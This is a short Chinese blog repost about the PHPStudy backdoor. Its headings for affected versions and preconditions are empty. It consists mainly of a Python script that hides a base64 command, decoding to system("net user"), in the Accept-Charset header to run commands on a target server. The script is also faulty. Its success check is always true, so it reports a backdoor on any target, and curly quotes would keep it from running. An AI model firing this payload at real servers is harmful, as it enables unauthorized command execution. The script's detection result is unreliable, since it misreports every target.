PHPStudy后门

时间:2021-03-30 15:12:13   收藏:0   阅读:39

漏洞影响版本:

漏洞前提:

漏洞验证:

验证脚本:

# -*-coding:utf-8 -*-

import requests 
import sys 
import base64

def Poc(ip):
    payload = "echo \"hello phpstudy\";"
    poc = "ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7"
    pay = base64.b64encode(payload.encode(‘utf-8‘))
    #poc = str(pay,"utf-8")
    headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
    "Connection": "close",
    "Accept-Encoding": "gzip,deflate",
    "Accept-Charset": poc,
    "Upgrade-Insecure-Requests": "1",
    }
    url = ip
    r = requests.get(url,headers=headers)
    #print(r.text)
    if "Administrator" or "DefaultAccount" in r.text:
        print("存在phpstudy后门")
    else:
        print("不存在phpstudy后门")

if len(sys.argv) < 2:
    print("python phpstudy.py http://127.0.0.1")
else:
    Poc(sys.argv[1])

原文:https://www.cnblogs.com/Frieza/p/14596488.html

评论(0
© 2014 bubuko.com 版权所有 - 联系我们:wmxa8@hotmail.com
打开技术之扣,分享程序人生!